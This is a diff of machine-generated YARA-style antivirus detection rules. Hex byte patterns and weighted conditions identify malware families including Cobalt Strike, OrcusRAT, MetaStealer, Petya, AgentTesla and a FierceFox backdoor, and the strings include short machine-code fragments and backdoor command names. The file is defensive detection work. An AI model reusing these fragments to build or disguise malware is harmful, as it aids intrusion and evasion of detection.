76 65 72 00 00 78 68 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 } //29546 + $a_ff_2 = {04 0e 41 01 00 09 01 74 65 6d 70 2e 64 6c 6c 00 01 00 07 01 53 74 61 72 74 57 00 00 00 78 68 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 } //-30141 + $a_2e_3 = {42 56 4c 21 4d 54 42 00 02 00 1f 01 4f 54 41 35 4d 47 5a 6a 4e 44 67 34 4d 32 55 30 5a 6a 42 6c 4f 47 4d 34 4d 44 41 77 4d 44 41 02 00 10 01 4d 54 67 30 4f 44 68 69 4e 54 49 79 4d 44 51 34 00 00 78 68 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 68 6f 70 70 65 72 50 72 6f 00 01 00 09 } //27497 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10616+(#a_ff_2 & 1)*-30141+(#a_72_3 & 1)*29546) >=3 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10616+(#a_ff_2 & 1)*-30141+(#a_2e_3 & 1)*27497) >=3 } -rule _InfrastructureShared_6140{ +rule _InfrastructureShared_6456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {43 6f 62 61 6c 74 5f 61 72 74 69 66 61 63 74 33 32 5f 64 6c 6c 00 01 00 0c 01 8a 04 17 30 03 8a 03 43 88 04 0e 41 01 00 07 01 0f b6 00 31 d8 88 01 01 00 0d 01 8a 04 10 30 03 43 8a 43 ff 88 04 0e 41 01 00 09 01 74 65 6d 70 2e 64 } //16675 $a_53_2 = {61 } //1792 a - $a_00_3 = {00 00 78 68 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 68 6f 70 70 65 72 50 72 6f 00 01 00 09 80 01 6a 73 64 72 76 2e 70 64 62 02 00 15 80 01 72 65 70 6a 73 2e 73 68 6f 70 70 65 72 2d 70 72 6f 2e 63 6f 6d 01 00 1c 80 01 53 4f 46 54 57 41 52 } //29810 - $a_68_4 = {70 70 65 72 50 72 6f 5c 4a 73 44 72 69 76 65 72 00 00 78 68 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 5a 54 42 21 62 69 74 00 01 00 0b 01 48 77 69 6e 66 6f 30 2e 64 61 74 01 00 0e } //23621 + $a_00_3 = {00 00 78 68 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 42 56 4c 21 4d 54 42 00 02 00 1f 01 4f 54 41 35 4d 47 5a 6a 4e 44 67 34 4d 32 55 30 5a 6a 42 6c 4f 47 4d 34 4d 44 41 77 4d 44 } //29810 condition: - ((#a_46_0 & 1)*16675+(#a_53_2 & 1)*1792+(#a_00_3 & 1)*29810+(#a_68_4 & 1)*23621) >=3 + ((#a_46_0 & 1)*16675+(#a_53_2 & 1)*1792+(#a_00_3 & 1)*29810) >=3 } -rule _InfrastructureShared_6141{ +rule _InfrastructureShared_6457{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 42 56 4c 21 4d 54 42 00 02 00 1f 01 4f 54 41 35 4d 47 5a 6a 4e 44 67 34 4d 32 55 30 5a 6a 42 6c 4f 47 4d 34 4d 44 41 77 4d 44 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_6458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -63852,7 +67145,7 @@ rule _InfrastructureShared_6141{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*26994+(#a_23_2 & 1)*4) >=4 } -rule _InfrastructureShared_6142{ +rule _InfrastructureShared_6459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -63865,7 +67158,7 @@ rule _InfrastructureShared_6142{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*2816+(#a_6c_2 & 1)*26955+(#a_00_3 & 1)*25972) >=4 } -rule _InfrastructureShared_6143{ +rule _InfrastructureShared_6460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -63877,7 +67170,7 @@ rule _InfrastructureShared_6143{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25976+(#a_00_3 & 1)*99) >=4 } -rule _InfrastructureShared_6144{ +rule _InfrastructureShared_6461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -63887,55 +67180,46 @@ rule _InfrastructureShared_6144{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_6145{ +rule _InfrastructureShared_6462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 4f 00 01 00 0e 03 41 b8 bd ca 3b d3 e8 90 02 50 0f 05 90 00 01 00 0e 03 41 b8 89 4d 39 8c e8 90 02 50 0f 05 90 00 01 00 0e 03 41 b8 74 eb 1d 4d e8 90 02 50 0f 05 90 00 01 00 0e 03 } //21283 $a_c1_1 = {ae e8 90 02 50 0f 05 90 00 00 00 78 68 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 4f 72 63 75 73 52 41 54 21 6c 6f 77 66 69 00 01 00 0d 00 4f 72 63 75 73 2e 53 65 72 76 65 72 2e 01 00 0d 80 01 22 7b 30 7d 22 20 2f 68 69 64 64 65 6e 01 00 0a 80 01 5b 24 7b 6c 6f 67 67 65 72 3a 01 00 14 80 01 67 65 74 5f 52 65 6d 6f 74 65 53 65 72 76 65 72 5f 31 36 78 00 00 78 68 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 66 69 6f 70 2e 41 00 01 00 0b 00 48 81 e7 00 f0 ff ff 48 83 ef 04 01 00 0f 01 4e 74 43 } //-18367 - $a_74_2 = {50 72 6f 66 69 6c 65 01 00 0e 01 4e 74 53 74 61 72 74 50 72 6f 66 69 6c 65 01 00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 50 47 4d 21 4d 54 42 00 05 00 3b 03 51 6a 01 68 c8 71 } //25970 - $a_90_3 = {02 d0 ab 40 00 6a 00 8d 95 ec ec ff ff 52 6a 01 68 bc 71 40 00 56 90 01 02 d0 ab 40 00 6a 00 8d 85 ec ec ff ff 50 6a 01 68 b8 71 40 00 56 90 00 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 } //64 + $a_74_2 = {50 72 6f 66 69 6c 65 01 00 0e 01 4e 74 53 74 61 72 74 50 72 6f 66 69 6c 65 01 00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 3c 01 0f b6 44 04 50 88 44 } //25970 + $a_b6_3 = {24 20 48 8b 4c 24 30 48 8b 94 24 68 01 00 00 } //8228 condition: - ((#a_46_0 & 1)*21283+(#a_c1_1 & 1)*-18367+(#a_74_2 & 1)*25970+(#a_90_3 & 1)*64) >=4 + ((#a_46_0 & 1)*21283+(#a_c1_1 & 1)*-18367+(#a_74_2 & 1)*25970+(#a_b6_3 & 1)*8228) >=4 } -rule _InfrastructureShared_6146{ +rule _InfrastructureShared_6463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {4f 72 63 75 73 52 41 54 21 6c 6f 77 66 69 00 01 00 0d 00 4f 72 63 75 73 2e 53 65 72 76 65 72 2e 01 00 0d 80 01 22 7b 30 7d 22 20 2f 68 69 64 64 65 6e 01 00 0a 80 01 5b 24 7b 6c 6f 67 67 65 72 3a 01 00 14 80 } //21539 $a_74_1 = {52 65 6d 6f 74 65 53 65 72 76 65 72 5f 31 36 78 00 00 78 68 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 66 69 6f 70 2e 41 00 01 00 0b 00 48 81 e7 00 f0 ff ff 48 83 ef 04 01 00 0f 01 4e 74 43 72 65 61 74 65 50 72 6f 66 69 6c 65 01 00 0e 01 4e 74 53 74 61 72 74 50 } //26369 - $a_69_2 = {65 01 00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 50 47 4d 21 4d 54 42 00 05 00 3b 03 51 6a 01 68 c8 71 40 00 56 90 01 02 d0 ab 40 00 6a 00 8d 95 ec ec ff ff 52 6a 01 68 bc 71 40 00 56 90 01 } //28530 - $a_40_3 = {6a 00 8d 85 ec ec ff ff 50 6a 01 68 b8 71 40 00 56 90 00 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 3c 01 0f b6 44 04 50 88 44 24 20 0f b6 44 24 20 48 8b 4c 24 30 48 8b 94 24 68 01 00 00 48 03 d1 48 8b ca 0f b6 09 33 c1 48 8b 4c 24 30 48 8b 94 24 60 01 00 00 48 03 d1 48 8b ca 88 01 e9 00 00 78 68 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 31 00 01 00 05 } //-12286 + $a_69_2 = {65 01 00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 3c 01 0f b6 44 04 50 88 44 24 20 0f b6 44 24 20 48 8b 4c 24 30 48 8b 94 24 68 01 00 00 48 03 d1 48 8b ca 0f b6 09 } //28530 + $a_8b_3 = {24 30 48 8b 94 24 60 01 00 00 48 03 d1 48 8b ca 88 01 e9 00 00 78 68 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 } //-16077 condition: - ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*26369+(#a_69_2 & 1)*28530+(#a_40_3 & 1)*-12286) >=4 + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*26369+(#a_69_2 & 1)*28530+(#a_8b_3 & 1)*-16077) >=4 } -rule _InfrastructureShared_6147{ +rule _InfrastructureShared_6464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 66 69 6f 70 2e 41 00 01 00 0b 00 48 81 e7 00 f0 ff ff 48 83 ef 04 01 00 0f 01 4e 74 43 72 65 61 74 65 50 72 6f 66 69 6c 65 01 00 0e 01 4e 74 53 74 61 72 74 50 72 6f } //21539 - $a_65_1 = {00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 50 47 4d 21 4d 54 42 00 05 00 3b 03 51 6a 01 68 c8 71 40 00 56 90 01 02 d0 ab 40 00 6a 00 8d 95 ec ec ff ff 52 6a 01 68 bc 71 40 00 56 90 01 02 d0 ab 40 00 6a 00 8d } //26982 - $a_ff_2 = {50 6a 01 68 b8 71 40 00 56 90 00 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 3c 01 0f b6 44 04 50 88 44 24 20 0f b6 44 24 20 48 8b 4c 24 30 48 8b 94 24 68 01 00 00 48 03 d1 48 8b ca 0f b6 09 33 c1 48 8b 4c 24 30 48 8b 94 24 60 01 00 00 48 03 d1 48 8b ca 88 01 e9 00 00 78 68 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 31 00 01 00 05 01 80 7c 10 f6 44 01 00 05 01 80 7c 10 f7 56 01 00 07 01 c7 45 d4 08 00 00 00 01 00 07 01 c7 45 d8 02 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 09 00 00 00 00 00 78 68 00 00 06 00 06 } //-4987 + $a_65_1 = {00 0d 01 4e 74 53 74 6f 70 50 72 6f 66 69 6c 65 00 00 78 68 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 3c 01 0f b6 44 04 50 88 44 24 20 0f b6 44 24 20 48 8b 4c 24 30 48 8b 94 24 68 01 00 00 48 03 d1 48 8b ca 0f b6 09 33 c1 48 8b 4c 24 30 48 } //26982 + $a_60_2 = {00 00 48 03 d1 48 8b ca 88 01 e9 00 00 78 68 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //-27509 + $a_33_3 = {2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 10 01 8b 45 08 8b 4d 0c 8a 11 88 10 8b 45 08 83 c0 01 03 00 21 03 66 0f be 0c 30 66 89 4c 44 18 8d 44 24 18 50 e8 90 01 04 8b d8 83 c4 04 33 f6 33 d2 85 db 74 90 00 00 00 78 68 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 50 } //26967 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*26982+(#a_ff_2 & 1)*-4987) >=4 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*26982+(#a_60_2 & 1)*-27509+(#a_33_3 & 1)*26967) >=4 } -rule _InfrastructureShared_6148{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 50 47 4d 21 4d 54 42 00 05 00 3b 03 51 6a 01 68 c8 71 40 00 56 90 01 02 d0 ab 40 00 6a 00 8d 95 ec ec ff ff 52 6a 01 68 bc 71 40 00 56 90 01 02 d0 ab } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_6149{ +rule _InfrastructureShared_6465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -63945,7 +67229,29 @@ rule _InfrastructureShared_6149{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_6150{ +rule _InfrastructureShared_6466{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 10 01 8b 45 08 8b 4d 0c 8a 11 88 10 8b 45 08 83 c0 01 03 00 21 03 66 0f be 0c 30 66 89 4c 44 18 8d 44 } //21539 + $a_e8_1 = {01 04 8b d8 83 c4 04 33 f6 33 d2 85 db 74 90 00 00 00 78 68 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 50 65 74 79 61 2e 50 54 43 21 4d 54 42 00 04 00 1c 03 8b 55 f8 8d 9c 0a 90 01 04 b8 90 01 04 99 f7 } //6180 + condition: + ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*6180) >=5 + +} +rule _InfrastructureShared_6467{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 50 65 74 79 61 2e 50 54 43 21 4d 54 42 00 04 00 1c 03 8b 55 f8 8d 9c 0a 90 01 04 b8 90 01 04 99 f7 fb 41 30 91 90 01 04 83 f9 10 7c 90 00 02 00 1b 03 6a 40 68 00 90 01 } //21539 + $a_01_1 = {04 8b 3d 90 01 04 ff d7 85 c0 74 90 01 01 ff 90 00 00 00 78 68 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 31 00 01 00 05 01 80 7c 10 f6 44 01 00 05 01 80 7c 10 f7 56 01 00 07 01 c7 45 d4 08 00 00 00 01 00 07 01 c7 45 d8 02 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 09 00 00 00 00 00 78 68 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a } //26627 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*26627) >=6 + +} +rule _InfrastructureShared_6468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -63958,7 +67264,7 @@ rule _InfrastructureShared_6150{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_6151{ +rule _InfrastructureShared_6469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -63966,38 +67272,50 @@ rule _InfrastructureShared_6151{ $a_54_0 = {3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 32 00 01 00 05 01 80 7c 10 f6 44 01 00 05 01 80 7c 10 f7 56 01 00 07 01 c7 45 d4 02 00 00 00 01 00 07 01 c7 45 d8 08 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 } //18467 $a_00_3 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 33 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 e8 02 00 00 00 01 00 07 01 c7 45 ec 04 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 09 00 00 00 00 } //30720 $a_00_4 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 36 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 d8 02 00 00 00 01 00 07 01 c7 45 cc 08 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 09 00 00 00 00 } //30720 - $a_00_5 = {00 08 00 08 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 48 49 21 4d 54 42 00 03 00 21 03 0f b6 04 33 03 45 90 01 01 f7 f1 8a 0c 32 02 4d 90 01 01 89 55 90 01 01 8d 04 90 01 01 8a 55 90 00 05 00 16 03 8a 04 32 02 45 90 01 01 32 04 39 88 07 47 ff 4d 90 01 01 75 90 00 00 } //30720 + $a_00_5 = {00 07 00 07 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 47 21 64 68 61 00 05 00 07 01 2f 49 6e 73 4d 63 68 01 00 0d 01 6a 2f 44 6f 77 6e 6c 6f 61 64 44 6c 6c 01 00 07 01 6a 2f 73 6c 65 65 70 01 00 10 01 6a 2f 47 65 74 52 65 73 70 6f 6e 73 65 53 74 72 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_6152{ +rule _InfrastructureShared_6470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 33 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 e8 02 00 00 00 01 00 07 01 c7 45 ec 04 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 } //18467 $a_00_3 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 36 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 d8 02 00 00 00 01 00 07 01 c7 45 cc 08 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 00 00 00 09 00 00 00 00 } //30720 + $a_00_4 = {00 07 00 07 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 47 21 64 68 61 00 05 00 07 01 2f 49 6e 73 4d 63 68 01 00 0d 01 6a 2f 44 6f 77 6e 6c 6f 61 64 44 6c 6c 01 00 07 01 6a 2f 73 6c 65 65 70 01 00 10 01 6a 2f 47 65 74 52 65 73 70 6f 6e 73 65 53 74 72 00 } //30720 + $a_00_5 = {00 08 00 08 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 48 49 21 4d 54 42 00 03 00 21 03 0f b6 04 33 03 45 90 01 01 f7 f1 8a 0c 32 02 4d 90 01 01 89 55 90 01 01 8d 04 90 01 01 8a 55 90 00 05 00 16 03 8a 04 32 02 45 90 01 01 32 04 39 88 07 47 ff 4d 90 01 01 75 90 00 00 } //30720 + condition: + ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 + +} +rule _InfrastructureShared_6471{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 36 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 d8 02 00 00 00 01 00 07 01 c7 45 cc 08 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 } //18467 + $a_00_3 = {00 07 00 07 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 47 21 64 68 61 00 05 00 07 01 2f 49 6e 73 4d 63 68 01 00 0d 01 6a 2f 44 6f 77 6e 6c 6f 61 64 44 6c 6c 01 00 07 01 6a 2f 73 6c 65 65 70 01 00 10 01 6a 2f 47 65 74 52 65 73 70 6f 6e 73 65 53 74 72 00 } //30720 $a_00_4 = {00 08 00 08 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 48 49 21 4d 54 42 00 03 00 21 03 0f b6 04 33 03 45 90 01 01 f7 f1 8a 0c 32 02 4d 90 01 01 89 55 90 01 01 8d 04 90 01 01 8a 55 90 00 05 00 16 03 8a 04 32 02 45 90 01 01 32 04 39 88 07 47 ff 4d 90 01 01 75 90 00 00 } //30720 $a_00_5 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 39 35 37 21 4d 54 42 00 0a 00 32 02 13 04 11 04 28 90 01 04 20 9e 02 00 00 da 13 05 11 05 28 90 01 04 28 90 01 04 13 06 07 11 06 28 90 01 04 0b 09 17 d6 0d 09 08 6f 90 01 04 fe 04 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_6153{ +rule _InfrastructureShared_6472{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " strings : - $a_54_0 = {3a 6f 62 66 75 73 63 61 74 6f 72 5f 6f 61 5f 74 79 70 65 30 30 36 00 01 00 05 01 80 7c 10 f6 5a 01 00 05 01 80 7c 10 f7 58 01 00 07 01 c7 45 d8 02 00 00 00 01 00 07 01 c7 45 cc 08 00 00 00 01 00 04 01 83 65 0c f0 01 00 0f 01 00 00 00 05 00 00 00 07 } //18467 - $a_00_3 = {00 08 00 08 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 48 49 21 4d 54 42 00 03 00 21 03 0f b6 04 33 03 45 90 01 01 f7 f1 8a 0c 32 02 4d 90 01 01 89 55 90 01 01 8d 04 90 01 01 8a 55 90 00 05 00 16 03 8a 04 32 02 45 90 01 01 32 04 39 88 07 47 ff 4d 90 01 01 75 90 00 00 } //30720 - $a_00_4 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 39 35 37 21 4d 54 42 00 0a 00 32 02 13 04 11 04 28 90 01 04 20 9e 02 00 00 da 13 05 11 05 28 90 01 04 28 90 01 04 13 06 07 11 06 28 90 01 04 0b 09 17 d6 0d 09 08 6f 90 01 04 fe 04 90 00 00 } //30720 - $a_00_5 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 34 21 4d 54 42 00 0a 00 34 03 20 00 b4 00 00 5d 90 02 0a 20 00 b4 00 00 5d 90 02 0a 1f 16 5d 90 01 05 61 90 02 0f 58 20 00 b4 00 00 5d 91 90 02 0a 20 00 01 00 00 58 20 00 01 00 00 90 00 00 } //30720 + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 69 65 72 63 65 46 6f 78 2e 47 21 64 68 61 00 05 00 07 01 2f 49 6e 73 4d 63 68 01 00 0d 01 6a 2f 44 6f 77 6e 6c 6f 61 64 44 6c 6c 01 00 07 01 6a 2f 73 6c 65 65 70 01 00 10 01 6a 2f } //16675 + $a_52_1 = {73 70 6f 6e 73 65 53 74 72 00 00 78 68 00 00 08 00 08 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 48 49 21 4d 54 42 00 03 00 21 03 0f b6 04 33 03 45 90 01 01 f7 f1 8a 0c 32 02 4d 90 01 01 89 55 90 01 01 8d 04 90 01 01 8a 55 90 00 05 00 16 03 8a 04 32 02 45 90 01 01 32 04 39 88 07 47 ff 4d 90 01 01 75 90 } //25927 + $a_00_3 = {0a 00 01 00 21 23 48 53 54 52 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*25927+(#a_00_3 & 1)*0) >=7 } -rule _InfrastructureShared_6154{ +rule _InfrastructureShared_6473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 02 00 21 " @@ -64008,7 +67326,7 @@ rule _InfrastructureShared_6154{ ((#a_46_0 & 1)*21283+(#a_88_1 & 1)*1074) >=8 } -rule _InfrastructureShared_6155{ +rule _InfrastructureShared_6474{ 